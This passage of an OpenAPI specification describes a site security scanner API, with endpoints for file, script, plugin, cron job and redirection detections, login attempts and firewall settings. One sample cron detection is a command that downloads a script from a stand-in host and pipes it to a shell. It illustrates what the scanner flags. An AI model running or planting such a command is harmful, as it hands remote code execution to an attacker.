"#/components/responses/SiteSecurityScannerDetectionFilesInvalidIdsResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/SiteSecurityScannerDetectionFilesForbiddenResponse" }, "404": { "$ref": "#/components/responses/SiteSecurityScannerDetectionFilesNotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/scanner/detections/files/unsafe": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "File Detections" ], "summary": "Mark file detections as unsafe", "operationId": "markSiteSecurityScannerDetectionFilesUnsafe", "description": "Marks one or more file detections as unsafe for your account.\n\nUse this to reverse a previous safe marking when selected file\ndetections should be treated as unsafe again.\n\nSend file detection IDs returned by the list response. Duplicate IDs are\nprocessed once. If `snapshot_id` is omitted, the latest completed scanner\nsnapshot is used. On success, a site sync starts so the updated review\nstate can be applied.\n\nA successful response returns processed file detection IDs and counts.\n", "parameters": [ { "name": "snapshot_id", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/SnapshotId" }, "description": "Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.", "example": "67f2a9c4b13e8d2f9a40c1d7" } ], "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/MarkSiteSecurityScannerDetectionFilesUnsafeRequest" }, "example": { "ids": [ "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=" ] } } } }, "responses": { "200": { "description": "File detections were marked unsafe.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/MarkSiteSecurityScannerDetectionFilesUnsafeResponse" }, "example": { "unsafe": { "ids": [ "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityScannerDetectionFilesInvalidIdsResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/SiteSecurityScannerDetectionFilesForbiddenResponse" }, "404": { "$ref": "#/components/responses/SiteSecurityScannerDetectionFilesNotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/scanner/detections/scripts": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Script Detections" ], "summary": "List script detections", "operationId": "listSiteSecurityScannerDetectionScripts", "description": "Returns script detections for the selected site. Each detection includes\nan ID, threat types, detection location, detection time, and whether it\nis marked safe.\n\nUse this list to review affected scripts, filter detections by threat\ntype, location, or safe status, and collect detection IDs for content\nreview or safe marking.\n\nIf `snapshot_id` is omitted, the latest completed scanner snapshot is\nused.\n\nA successful response returns a paginated list of script detections.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `threat_types`, `location.type`, `marked_safe`\n- Supported operators:\n - `in`: `threat_types`\n - `eq`: `location.type`, `marked_safe`\n- Boolean filters accept `true` or `false`\n- Example: `filters[location.type:eq]=database`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `detected_at`, `id`, `marked_safe`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `detected_at,desc`\n- Example: `sort=detected_at,desc`\n", "parameters": [ { "name": "snapshot_id", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/SnapshotId" }, "description": "Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.", "example": "67f2a9c4b13e8d2f9a40c1d7" }, { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSiteSecurityScannerDetectionScriptsSort" }, "description": "Sort order for returned script detections.", "example": "detected_at,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionScriptFilters" }, "description": "Filters applied to returned script detections.", "example": { "threat_types:in": [ "redirection" ], "location.type:eq": "database", "marked_safe:eq": false } } ], "responses": { "200": { "description": "Script detections were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSiteSecurityScannerDetectionScriptsResponse" }, "example": { "scripts": [ { "id": "0aa32de0ef6669175da26f87aa93c193", "threat_types": [ "injection" ], "location": { "type": "database", "table_name": "wp_options", "affected_rows": 2 }, "marked_safe": false, "detected_at": "2026-05-25T07:40:00Z" }, { "id": "1bb32de0ef6669175da26f87aa93c194", "threat_types": [ "redirection" ], "location": { "type": "homepage", "url": "https://example.com" }, "marked_safe": true, "detected_at": "2026-05-24T07:40:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityScannerDetectionScriptsInvalidFiltersResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/SiteSecurityScannerDetectionScriptsForbiddenResponse" }, "404": { "$ref": "#/components/responses/SiteSecurityScannerDetectionScriptsNotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/scanner/detections/scripts/{id}/content": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." }, { "name": "id", "in": "path", "required": true, "schema": { "type": "string", "pattern": "^[a-f0-9]{32}$" }, "description": "Script detection ID from the list response." } ], "get": { "tags": [ "Script Detections" ], "summary": "Show script detection content", "operationId": "showSiteSecurityScannerDetectionScriptContent", "description": "Returns source content for one detected script as a base64-encoded\nstring.\n\nUse this after listing script detections when a reviewer needs to inspect\nthe detected script. Decode `content` before displaying or saving it.\n\nIf `snapshot_id` is omitted, the latest completed scanner snapshot is\nused.\n\nA successful response returns base64-encoded script content.\n", "parameters": [ { "name": "snapshot_id", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/SnapshotId" }, "description": "Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.", "example": "67f2a9c4b13e8d2f9a40c1d7" } ], "responses": { "200": { "description": "Script detection content was returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSiteSecurityScannerDetectionScriptContentResponse" }, "example": { "content": "PHNjcmlwdD5hbGVydCgnbWFsaWNpb3VzJyk8L3NjcmlwdD4=" } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/SiteSecurityScannerDetectionScriptsForbiddenResponse" }, "404": { "$ref": "#/components/responses/SiteSecurityScannerDetectionScriptNotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/scanner/detections/scripts/safe": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Script Detections" ], "summary": "Mark script detections as safe", "operationId": "markSiteSecurityScannerDetectionScriptsSafe", "description": "Marks one or more script detections as safe for your account.\n\nUse this after reviewing script details or content and confirming that\nthe selected scripts are expected.\n\nSend script detection IDs returned by the list response. Duplicate IDs\nare processed once. If `snapshot_id` is omitted, the latest completed\nscanner snapshot is used. On success, the response returns processed IDs\nand counts.\n\nA successful response returns processed script detection IDs and counts.\n", "parameters": [ { "name": "snapshot_id", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/SnapshotId" }, "description": "Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.", "example": "67f2a9c4b13e8d2f9a40c1d7" } ], "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/MarkSiteSecurityScannerDetectionScriptsSafeRequest" }, "example": { "ids": [ "0aa32de0ef6669175da26f87aa93c193" ] } } } }, "responses": { "200": { "description": "Script detections were marked safe.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/MarkSiteSecurityScannerDetectionScriptsSafeResponse" }, "example": { "safe": { "ids": [ "0aa32de0ef6669175da26f87aa93c193" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityScannerDetectionScriptsInvalidIdsResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/SiteSecurityScannerDetectionScriptsForbiddenResponse" }, "404": { "$ref": "#/components/responses/SiteSecurityScannerDetectionScriptsNotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/scanner/detections/plugins": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Plugin Detections" ], "summary": "List plugin detections", "operationId": "listSiteSecurityScannerDetectionPlugins", "description": "Returns malicious plugin detections for the selected site. Each plugin\nincludes identity fields, version and database update metadata,\nactivation state, lock state, vulnerability state, package availability,\nand detection time.\n\nUse this list to review malicious installed plugins, filter detections\nby plugin name, slug, detection time, or activation state, and decide\nwhat plugin action is needed.\n\nA successful response returns a paginated list of plugin detections.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `name`, `slug`, `detected_at`, `active`\n- Supported operators:\n - `contains`: `name`, `slug`\n - `gte`: `detected_at`\n - `lte`: `detected_at`\n - `eq`: `active`\n- Boolean filters accept `true` or `false`\n- Use ISO 8601 timestamps for `detected_at` filters\n- Example: `filters[name:contains]=Bad`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `detected_at`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `detected_at,desc`\n- Example: `sort=detected_at,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSiteSecurityScannerDetectionPluginsSort" }, "description": "Sort order for returned plugin detections.", "example": "detected_at,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionPluginFilters" }, "description": "Filters applied to returned plugin detections.", "example": { "name:contains": "Bad", "active:eq": true } } ], "responses": { "200": { "description": "Plugin detections were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSiteSecurityScannerDetectionPluginsResponse" }, "example": { "plugins": [ { "name": "Bad Plugin", "slug": "bad-plugin", "filename": "bad-plugin/bad-plugin.php", "current_version": "1.2.0", "latest_version": "1.3.0", "update_available": true, "database": { "current_version": "4.0.0", "latest_version": "5.0.0", "update_required": true }, "active": true, "network_wide": false, "package_available": true, "locked": false, "vulnerable": true, "malicious": true, "detected_at": "2026-05-25T07:40:00Z" }, { "name": "Another Plugin", "slug": "another-plugin", "filename": "another-plugin/main.php", "current_version": "2.0.0", "latest_version": "2.1.0", "update_available": false, "database": { "current_version": "1.0.0", "latest_version": "1.0.0", "update_required": false }, "active": false, "network_wide": false, "package_available": false, "locked": false, "vulnerable": false, "malicious": true, "detected_at": "2026-05-24T07:40:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityScannerDetectionPluginsInvalidFilterResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/SiteSecurityScannerDetectionPluginsForbiddenResponse" }, "404": { "$ref": "#/components/responses/SiteSecurityScannerDetectionPluginsNotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/scanner/detections/cron-jobs": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Cron Job Detections" ], "summary": "List cron job detections", "operationId": "listSiteSecurityScannerDetectionCronJobs", "description": "Returns cron job detections for the selected site. Each detection\nincludes the scheduled command content, detection ID, and whether it is\ncurrently marked safe.\n\nUse this list to review potentially malicious scheduled commands and\ncollect detection IDs for safe marking.\n\nIf `snapshot_id` is omitted, the latest completed scanner snapshot for\nthe site is used.\n\nA successful response returns a paginated list of cron job detections.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `content`, `marked_safe`\n- Supported operators:\n - `contains`: `content`\n - `eq`: `marked_safe`\n- Boolean filters accept `true` or `false`\n- Example: `filters[content:contains]=wp cron`\n", "parameters": [ { "name": "snapshot_id", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/SnapshotId" }, "description": "Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.", "example": "67f2a9c4b13e8d2f9a40c1d7" }, { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionCronJobFilters" }, "description": "Filters applied to returned cron job detections.", "example": { "content:contains": "wp cron", "marked_safe:eq": false } } ], "responses": { "200": { "description": "Cron job detections were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSiteSecurityScannerDetectionCronJobsResponse" }, "example": { "cron_jobs": [ { "content": "*/5 * * * * curl https://bad.example/payload.sh | sh", "id": "0aa32de0ef6669175da26f87aa93c193", "marked_safe": false }, { "content": "0 * * * * php /var/www/html/wp-content/scripts/expected-task.php", "id": "1bb32de0ef6669175da26f87aa93c194", "marked_safe": true } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityScannerDetectionCronJobsInvalidFilterResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/SiteSecurityScannerDetectionCronJobsForbiddenResponse" }, "404": { "$ref": "#/components/responses/SiteSecurityScannerDetectionCronJobsNotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/scanner/detections/cron-jobs/safe": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Cron Job Detections" ], "summary": "Mark cron job detections as safe", "operationId": "markSiteSecurityScannerDetectionCronJobsSafe", "description": "Marks one or more cron job detections as safe for your account.\n\nUse this after reviewing the command content and confirming that the\nselected cron jobs are expected.\n\nSend cron job detection IDs returned by the list response. Duplicate IDs\nare processed once. If `snapshot_id` is omitted, the latest completed\nscanner snapshot for the site is used.\n\nA successful response returns processed cron job detection IDs and counts.\n", "parameters": [ { "name": "snapshot_id", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/SnapshotId" }, "description": "Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.", "example": "67f2a9c4b13e8d2f9a40c1d7" } ], "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/MarkSiteSecurityScannerDetectionCronJobsSafeRequest" }, "example": { "ids": [ "0aa32de0ef6669175da26f87aa93c193" ] } } } }, "responses": { "200": { "description": "Cron job detections were marked safe.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/MarkSiteSecurityScannerDetectionCronJobsSafeResponse" }, "example": { "safe": { "ids": [ "0aa32de0ef6669175da26f87aa93c193" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityScannerDetectionCronJobsInvalidIdsResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/SiteSecurityScannerDetectionCronJobsForbiddenResponse" }, "404": { "$ref": "#/components/responses/SiteSecurityScannerDetectionCronJobsNotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/scanner/detections/redirections": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Redirection Detections" ], "summary": "List redirection detections", "operationId": "listSiteSecurityScannerDetectionRedirections", "description": "Returns redirection detections for the selected site. Each detection\nincludes the behavior type, source page, destination URL, safe status,\nand detection time.\n\nUse this list to review potentially malicious redirects or new-tab\ndestinations and decide which destination hosts are expected.\n\nA successful response returns a paginated list of redirection detections.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `type`, `location`, `from`, `to`, `marked_safe`, `detected_at`\n- Supported operators:\n - `eq`: `type`, `marked_safe`\n - `contains`: `location`, `from`, `to`\n - `gte`: `detected_at`\n - `lte`: `detected_at`\n- Supported type values for matching: `same_tab`, `new_tab`\n- Boolean filters accept `true` or `false`\n- Use ISO 8601 timestamps for `detected_at` filters\n- Example: `filters[to:contains]=malicious.example`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `type`, `location`, `from`, `to`, `detected_at`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `detected_at,desc`\n- Example: `sort=detected_at,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSiteSecurityScannerDetectionRedirectionsSort" }, "description": "Sort order for returned redirection detections.", "example": "detected_at,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionRedirectionFilters" }, "description": "Filters applied to returned redirection detections.", "example": { "type:eq": "same_tab", "to:contains": "malicious.example", "marked_safe:eq": false } } ], "responses": { "200": { "description": "Redirection detections were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSiteSecurityScannerDetectionRedirectionsResponse" }, "example": { "redirections": [ { "type": "same_tab", "location": "https://example.com", "from": "https://example.com", "to": "https://malicious.example/phishing", "marked_safe": false, "detected_at": "2026-05-25T07:40:00Z" }, { "type": "new_tab", "location": "https://example.com/contact", "from": "https://example.com/contact", "to": "https://trusted.example/help", "marked_safe": true, "detected_at": "2026-05-24T07:40:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityScannerDetectionRedirectionsInvalidFilterResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/SiteSecurityScannerDetectionRedirectionsForbiddenResponse" }, "404": { "$ref": "#/components/responses/SiteSecurityScannerDetectionRedirectionsNotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityScannerDetectionRedirectionsBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/scanner/detections/redirections/safe": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Redirection Detections" ], "summary": "Mark redirection detections as safe", "operationId": "markSiteSecurityScannerDetectionRedirectionsSafe", "description": "Marks one or more redirection destination URLs as safe for the site.\n\nUse this after reviewing the redirection list and confirming that the\nsubmitted destination URLs are expected.\n\nSend destination URLs returned by the list response. Duplicate URLs are\nprocessed once. The destination host from each URL is marked safe for\nthis site. On success, the response returns the processed URLs and\nstarts a site sync so the updated safe status can be applied.\n\nA successful response returns processed destination URLs and counts.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/MarkSiteSecurityScannerDetectionRedirectionsSafeRequest" }, "example": { "urls": [ "https://malicious.example/phishing" ] } } } }, "responses": { "200": { "description": "Redirection detections were marked safe.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/MarkSiteSecurityScannerDetectionRedirectionsSafeResponse" }, "example": { "safe": { "urls": [ "https://malicious.example/phishing" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityScannerDetectionRedirectionsInvalidUrlsResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/SiteSecurityScannerDetectionRedirectionsForbiddenResponse" }, "404": { "$ref": "#/components/responses/SiteSecurityScannerDetectionRedirectionsNotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/login-protection/attempts": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Login Protection" ], "summary": "List login protection attempts", "operationId": "listSiteSecurityLoginProtectionAttempts", "description": "Returns login attempts for the selected site.\n\nUse this list to review site login history, investigate blocked\nattempts, or filter recent login activity by source IP, user name, or\nstatus.\n\nThe site plan must support Login Protection.\n\nA successful response returns a paginated list of login protection\nattempts.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `timestamp`, `status`, `ip_address`, `username`\n- Supported operators:\n - `gte`: `timestamp`\n - `lte`: `timestamp`\n - `eq`: `status`, `ip_address`, `username`\n - `not_eq`: `status`, `ip_address`, `username`\n - `in`: `status`, `ip_address`, `username`\n - `not_in`: `status`, `ip_address`, `username`\n - `contains`: `ip_address`, `username`\n - `start`: `ip_address`, `username`\n - `end`: `ip_address`, `username`\n- Supported `status` values for matching: `succeeded`, `failed`, `blocked`\n- Use ISO 8601 timestamps for `timestamp` filters\n- Default time range: last 14 days\n- Example: `filters[status:eq]=failed`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `timestamp`, `ip_address`, `status`, `username`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `timestamp,desc`\n- Example: `sort=timestamp,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSiteSecurityLoginProtectionAttemptsSort" }, "description": "Sort order for returned login attempts.", "example": "timestamp,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/SiteSecurityLoginProtectionAttemptFilters" }, "description": "Filters applied to returned login attempts.", "example": { "timestamp:gte": "2026-05-01T00:00:00Z", "timestamp:lte": "2026-05-25T00:00:00Z", "status:eq": "failed", "ip_address:contains": "203.0.113" } } ], "responses": { "200": { "description": "Login protection attempts returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSiteSecurityLoginProtectionAttemptsResponse" }, "example": { "attempts": [ { "id": "7f9c2a41b6d84e13a0c9f572", "timestamp": "2026-05-25T08:00:00Z", "username": "admin", "ip_address": "203.0.113.10", "country_code": "US", "status": "failed", "category": "allowed" }, { "id": "8d2f4b63e1a74c0d95b6f3a8", "timestamp": "2026-05-25T08:05:00Z", "username": "editor", "ip_address": "198.51.100.8", "country_code": "GB", "status": "blocked", "category": "captcha_block" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityLoginProtectionInvalidIndexQueryResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityLoginProtectionPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/login-protection/attempts/stats": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Login Protection" ], "summary": "Show login protection attempt stats", "operationId": "showSiteSecurityLoginProtectionAttemptStats", "description": "Returns login attempt totals and trend data for the selected site.\n\nUse this when you need summary counts or login protection trends for a\nselected time range.\n\nThe site plan must support Login Protection.\n\nA successful response returns login protection attempt stats.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `timestamp`, `status`, `ip_address`, `username`\n- Supported operators:\n - `gte`: `timestamp`\n - `lte`: `timestamp`\n - `eq`: `status`, `ip_address`, `username`\n - `not_eq`: `status`, `ip_address`, `username`\n - `in`: `status`, `ip_address`, `username`\n - `not_in`: `status`, `ip_address`, `username`\n - `contains`: `ip_address`, `username`\n - `start`: `ip_address`, `username`\n - `end`: `ip_address`, `username`\n- Supported `status` values for matching: `succeeded`, `failed`, `blocked`\n- Use ISO 8601 timestamps for `timestamp` filters\n- Default time range: last 14 days\n- Example: `filters[status:eq]=blocked`\n", "parameters": [ { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/SiteSecurityLoginProtectionAttemptFilters" }, "description": "Filters applied to returned login attempt stats.", "example": { "timestamp:gte": "2026-05-01T00:00:00Z", "timestamp:lte": "2026-05-25T00:00:00Z", "status:eq": "blocked" } } ], "responses": { "200": { "description": "Login protection attempt stats were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSiteSecurityLoginProtectionAttemptStatsResponse" }, "example": { "stats": { "attempts": { "total": 100, "succeeded": 20, "failed": 70, "blocked": 10, "trends": [ { "timestamp": "2026-05-25T08:00:00Z", "total": 17, "succeeded": 5, "failed": 10, "blocked": 2 } ] } } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityLoginProtectionInvalidTimestampResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityLoginProtectionPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/firewall/enable": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Firewall Activation" ], "summary": "Enable site firewall", "operationId": "enableSiteSecurityFirewall", "description": "Turns firewall protection on for the selected site and returns the current\nfirewall state. The response includes whether firewall protection is\nenabled and whether advanced firewall protection is active.\n\nUse this when firewall protection should be turned on. No request body\nis required.\n\nThe site plan must support Firewall.\n\nA successful response returns `firewall.enabled: true` and the current\n`firewall.advanced` state.\n", "responses": { "200": { "description": "Firewall protection was enabled.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/EnableSiteSecurityFirewallResponse" }, "example": { "firewall": { "enabled": true, "advanced": true } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "409": { "$ref": "#/components/responses/SiteSecurityFirewallSyncInProgressResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityFirewallPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/firewall/disable": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Firewall Activation" ], "summary": "Disable site firewall", "operationId": "disableSiteSecurityFirewall", "description": "Turns firewall protection off for the selected site and returns the current\nfirewall state. The response includes whether firewall protection is\nenabled and whether advanced firewall protection is active.\n\nUse this when firewall protection should be turned off. No request body\nis required.\n\nA successful response returns `firewall.enabled: false` and the current\n`firewall.advanced` state.\n", "responses": { "200": { "description": "Firewall protection was disabled.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DisableSiteSecurityFirewallResponse" }, "example": { "firewall": { "enabled": false, "advanced": false } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "409": { "$ref": "#/components/responses/SiteSecurityFirewallSyncInProgressResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/firewall/ip-access": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "IP Access" ], "summary": "Show IP Access settings", "operationId": "showSiteSecurityFirewallIpAccess", "description": "Returns IP addresses configured in IP Access for the selected site.\n\nUse this before adding or deleting IP Access entries to see the current\ntrusted IP addresses.\n\nThe response returns only IP addresses explicitly configured for this\nsite. The site plan must support Firewall.\n\nA successful response returns the current IP Access settings.\n", "responses": { "200": { "description": "IP Access settings were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSiteSecurityFirewallIpAccessResponse" }, "example": { "ip_access": { "whitelisted_ips": [ "203.0.113.10", "2001:db8::10" ] } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": 